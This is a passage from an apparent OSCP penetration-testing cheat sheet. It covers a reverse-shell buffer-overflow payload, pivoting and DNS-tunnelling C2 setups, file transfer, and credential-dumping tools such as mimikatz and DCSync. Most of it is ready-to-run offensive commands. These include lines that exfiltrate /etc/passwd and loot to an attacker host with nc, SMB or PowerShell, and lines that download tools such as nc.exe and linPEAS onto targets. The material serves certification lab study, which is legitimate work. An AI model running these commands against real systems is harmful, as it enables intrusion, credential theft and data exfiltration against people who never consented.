msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=443 \ -f py -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -v shellcode
payload = b"A"*offset + b"\xaf\x11\x50\x62" + b"\x90"*16 + shellcode
# start the listener first: nc -lvnp 443
23

Reach the internal network

Tunnelling & Pivoting

Own a box with a second NIC and you pivot to hosts you can't route to directly. ligolo-ng is the modern first choice; chisel and SSH forwarding are the reliable fallbacks. Identify a pivot first: ip a / ipconfig, route, and arp -a reveal the internal subnet.

ligolo-ng (preferred — a real routed interface)

on Kali — start the proxy
sudo ligolo-proxy -selfcert # (or ./proxy -selfcert) — listens on 0.0.0.0:11601
# accept the self-signed cert prompt; the ligolo-ng » console opens
run the agent on the compromised host
# transfer the matching agent to the target, then run it there:
./agent -connect $LHOST:11601 -ignore-cert # Linux target
.\agent.exe -connect $LHOST:11601 -ignore-cert # Windows target
# proxy console prints: Agent joined. name="HOST\user@HOST"
in the ligolo-ng console — build the tunnel & route the subnet
ligolo-ng » session # pick the agent that just joined
[Agent] » interface_create --name ligolo # makes the tun interface for you (no manual ip tuntap)
[Agent] » start # starts the tunnel to that agent
[Agent] » route_add --name ligolo --route 10.10.20.0/24 # the host's internal subnet
# every Kali tool now reaches 10.10.20.0/24 directly — no proxychains:
nxc winrm 10.10.20.0/24 -u users.txt -p pass.txt --continue-on-success --local-auth
evil-winrm -i 10.10.20.5 -u administrator -H <NTLM>

chisel (SOCKS proxy fallback)

reverse SOCKS5 — server on Kali, client on target
# Kali (server):
./chisel server -p 8000 --reverse
# Target (connects back, opens a SOCKS proxy on Kali:1080):
./chisel client $LHOST:8000 R:socks
# then route tools through it:
proxychains -q nxc smb 10.10.20.0/24
chisel single-port forward (reach one internal service)
# expose the target-side host 10.10.20.5:3306 on your Kali:3306
./chisel client $LHOST:8000 R:3306:10.10.20.5:3306

SSH forwarding & sshuttle (when you have SSH creds)

the fastest options when SSH is available
sshuttle -r user@$IP 10.10.20.0/24 # transparent VPN-like — easiest
ssh -L 8080:10.10.20.5:80 user@$IP # local: Kali:8080 → internal:80
ssh -R 3306:127.0.0.1:3306 user@$LHOST # remote: push a target port back to Kali
ssh -D 1080 user@$IP # dynamic SOCKS → proxychains
ssh -R 9998 user@$LHOST # remote DYNAMIC SOCKS back to Kali
socat — a simple relay when SSH isn't an option
# on the pivot: forward its :2345 to an internal host:port
socat TCP-LISTEN:2345,fork TCP:10.10.20.5:5432
# then hit the pivot's 2345 from Kali as if it were the internal service
Windows-native forwarding (plink · netsh) — no SSH/socat on the box
# plink (PuTTY CLI) on the Windows pivot → remote-forward its RDP back to Kali
plink.exe -ssh -l kali -pw <PASS> -R 127.0.0.1:9833:127.0.0.1:3389 $LHOST
# Kali plink lives at /usr/share/windows-resources/binaries/plink.exe
# netsh portproxy: forward the pivot's :2222 to an internal host (admin needed)
netsh interface portproxy add v4tov4 listenport=2222 listenaddress=0.0.0.0 connectport=22 connectaddress=10.10.20.5
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=2222
netsh interface portproxy del v4tov4 listenport=2222 listenaddress=0.0.0.0 # clean up
proxychains config · /etc/proxychains4.conf
# tail of the file — one line:
socks5 127.0.0.1 1080
# keep strict_chain + proxy_dns; then prefix commands:
proxychains4 -q nmap -sT -Pn -p 445,3389,5985 10.10.20.5

DNS tunnelling (when only DNS gets out)

If every TCP/UDP egress port is filtered but the host can still resolve names, you can smuggle a shell or a tunnel inside DNS queries to a domain whose authoritative server you control. Slow, but it defeats strict egress filtering.

dnscat2 — encrypted C2 / tunnel over DNS
# Kali (authoritative for the delegated zone t.example.com):
dnscat2-server t.example.com
# Target:
./dnscat2 t.example.com # direct mode
./dnscat2 --dns server=<dns-ip>,domain=t.example.com # via the target's resolver
# in the server console: 'windows', 'window -i 1', then run commands / port-forward
iodine — a full IP tunnel over DNS
# Kali (server): give the tun a private range, set the delegated domain
sudo iodined -f -c -P s3cret 10.9.0.1 t.example.com
# Target (client):
iodine -f -P s3cret t.example.com
# now route the internal subnet over the tun0 iodine gives you, like any VPN
24

Move tools & loot

File Transfer Cheat-Sheet

Serve files from Kali, pull from the target — or push loot back. Prefer ports 80/443/445, which are usually allowed outbound even when egress is filtered.

serve files from Kali
python3 -m http.server 80 # HTTP
python3 -m uploadserver 443 # HTTP with upload endpoint
impacket-smbserver share $(pwd) -smb2support # SMB share
impacket-smbserver share $(pwd) -smb2support -username u -password p # auth'd (Win10+ needs this)
nc -lvnp 443 > incoming.file # raw catch
download TO a Linux target
wget http://$LHOST/linpeas.sh -O /tmp/linpeas.sh
curl http://$LHOST/linpeas.sh -o /tmp/linpeas.sh
# no wget/curl? bash builtin over /dev/tcp:
exec 3<>/dev/tcp/$LHOST/80; echo -e "GET /f\r\n" >&3; cat <&3 > f
scp file user@$IP:/tmp/ # if you have SSH creds
chmod +x /tmp/f # binaries land non-executable
download TO a Windows target
# PowerShell — most reliable
iwr -Uri http://LHOST/nc.exe -OutFile C:\Windows\Temp\nc.exe
powershell -c "(New-Object Net.WebClient).DownloadFile('http://LHOST/f.exe','C:\Windows\Temp\f.exe')"
# certutil LOLBIN (often AV-flagged)
certutil -urlcache -split -f http://LHOST/f.exe C:\Windows\Temp\f.exe
# from your SMB share
copy \\LHOST\share\f.exe C:\Windows\Temp\f.exe
# evil-winrm built-in: upload /local/f.exe C:\Windows\Temp\f.exe
exfil FROM Windows back to Kali
copy C:\loot.txt \\LHOST\share\ # via writable SMB share
powershell -c "(New-Object Net.WebClient).UploadFile('http://LHOST/upload','C:\loot.txt')"
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\loot.txt")) # small files, decode on Kali
exfil FROM Linux back to Kali
base64 -w0 /etc/passwd # copy output; on Kali: echo '<b64>' | base64 -d
nc -lvnp 443 > out.file # on Kali
nc $LHOST 443 < /etc/passwd # on target
25

Download the arsenal

Tooling & Where to Get It

Kali ships impacket, nxc, hydra, hashcat, feroxbuster and friends — but the AD collectors, the Ghostpack/PowerShell tools, the potatoes and the pivots you pull down per box. Grab these onto your attack VM (and stage them to targets as needed). All are the current, maintained sources as of 2026.

Same job — Linux (Kali) vs Windows tool

Reach for whichever side you have a shell on
Kerberoast / AS-REPLinux: impacket-GetUserSPNs / GetNPUsers, nxc · Windows: Rubeus
Forge tickets (Golden/Silver)Linux: impacket-ticketer · Windows: mimikatz kerberos::golden, Rubeus golden
DCSyncLinux: impacket-secretsdump · Windows: mimikatz lsadump::dcsync
Dump LSASS credsLinux: pypykatz (offline dump) · Windows: mimikatz sekurlsa::logonpasswords
Domain recon / BloodHoundLinux: bloodhound-ce-python, powerview.py, windapsearch · Windows: SharpHound.exe, PowerView.ps1
Pass-the-hash execLinux: impacket-psexec/wmiexec -hashes, evil-winrm -H · Windows: mimikatz sekurlsa::pth
Privesc enumerationLinux: linPEAS, unix-privesc-check · Windows: winPEAS, PowerUp.ps1, PrivescCheck
User enum / sprayLinux: kerbrute_linux, nxc · Windows: kerbrute_windows, Rubeus
Port / host checksLinux: nmap, nc · Windows: Test-NetConnection, nc.exe (LOLBAS)
Pivot agentLinux: ligolo agent, chisel · Windows: agent.exe, chisel.exe (same project)
Serve / fetch filesLinux: python3 -m http.server, impacket-smbserver · Windows: iwr, certutil, copy \\host\share
26

Pick the right list

Wordlists Reference

SecLists ships on Kali under /usr/share/seclists (else sudo apt install seclists); rockyou is at /usr/share/wordlists/rockyou.txt (gunzip it if it's still compressed). Paths below are relative to those roots.

Passwords & credentials
wordlists/rockyou.txtthe default for cracking and targeted brute — start here
Passwords/Leaked-Databases/rockyou-75.txttrimmed rockyou, faster for online attacks
Passwords/Common-Credentials/10-million-password-list-top-1000.txtfast first-pass spray list
Passwords/Common-Credentials/10k-most-common.txtgood middle-ground online list
Passwords/Default-Credentials/default-passwords.txtdevice / app default creds
Passwords/darkweb2017-top100.txttiny, high-hit list for safe spraying
Usernames
Usernames/top-usernames-shortlist.txtquick user-enum and spray targets
Usernames/xato-net-10-million-usernames.txtlarge realistic list (kerbrute userenum)
Usernames/Names/names.txtfirst names — script them into first.last / flast
Web content discovery
Discovery/Web-Content/raft-medium-directories.txtfast, high-signal directory brute
Discovery/Web-Content/raft-medium-files.txtfile brute — pair with -x extensions
Discovery/Web-Content/directory-list-2.3-medium.txtthe classic dirbuster list, thorough
Discovery/Web-Content/common.txtquick baseline sweep
Discovery/Web-Content/big.txtbroad coverage when medium finds nothing
Discovery/Web-Content/burp-parameter-names.txtGET/POST parameter fuzzing
/usr/share/wordlists/dirb/common.txtdirb built-in — always present
Subdomains & virtual hosts
Discovery/DNS/subdomains-top1million-5000.txtfast vhost / subdomain fuzz
Discovery/DNS/subdomains-top1million-110000.txtdeeper when 5k finds nothing
Discovery/DNS/namelist.txtclassic DNS brute list
Fuzzing & payloads
Fuzzing/LFI/LFI-Jhaddix.txtLFI path traversal payloads
Fuzzing/SQLi/Generic-SQLi.txtSQLi detection strings
Web-Shells/ready-made webshells (PHP, ASPX, JSP)
hashcat rules/best64.rulemutate a small list: hashcat -r rules/best64.rule
27

When you hit a wall

Stuck? A Recovery Workflow

Being stuck on OSCP almost always means missed enumeration, not a missing exploit. Work this list top to bottom before you decide a machine is “hard” — the path is usually something you walked past.

1 · Re-enumerate from scratch (the 90% fix)

2 · Web — you probably under-fuzzed

3 · Match versions to public exploits

4 · Credentials — use everything, everywhere

5 · Re-read what you already have

6 · Privesc stuck — Linux

7 · Privesc stuck — Windows

8 · Privesc / lateral stuck — Active Directory

9 · Tactics when your head is stuck

10 · Rabbit-hole detector — back out if…

28

Don't lose points

Nuances, Pitfalls & Exam Tips

29

You've got this

Good Luck & Happy Hacking

Pixel-art catgirl giving thumbs up

That's the whole map — recon to proof.txt, and every service, shell and privesc trick in between. When the exam clock starts, trust the process: enumerate more than feels necessary, spray every credential everywhere, screenshot as you go, and take the break when your brain fogs. The box that feels impossible is almost always hiding one port, one file, or one password you haven't looked at yet.

Good luck, and happy hacking. You've put in the work — now go enumerate like you mean it. Try harder, rest when you need to, and come back sharp. You've got this.

Reference checklist · not a substitute for hands-on practice · verify tool flags against your Kali version.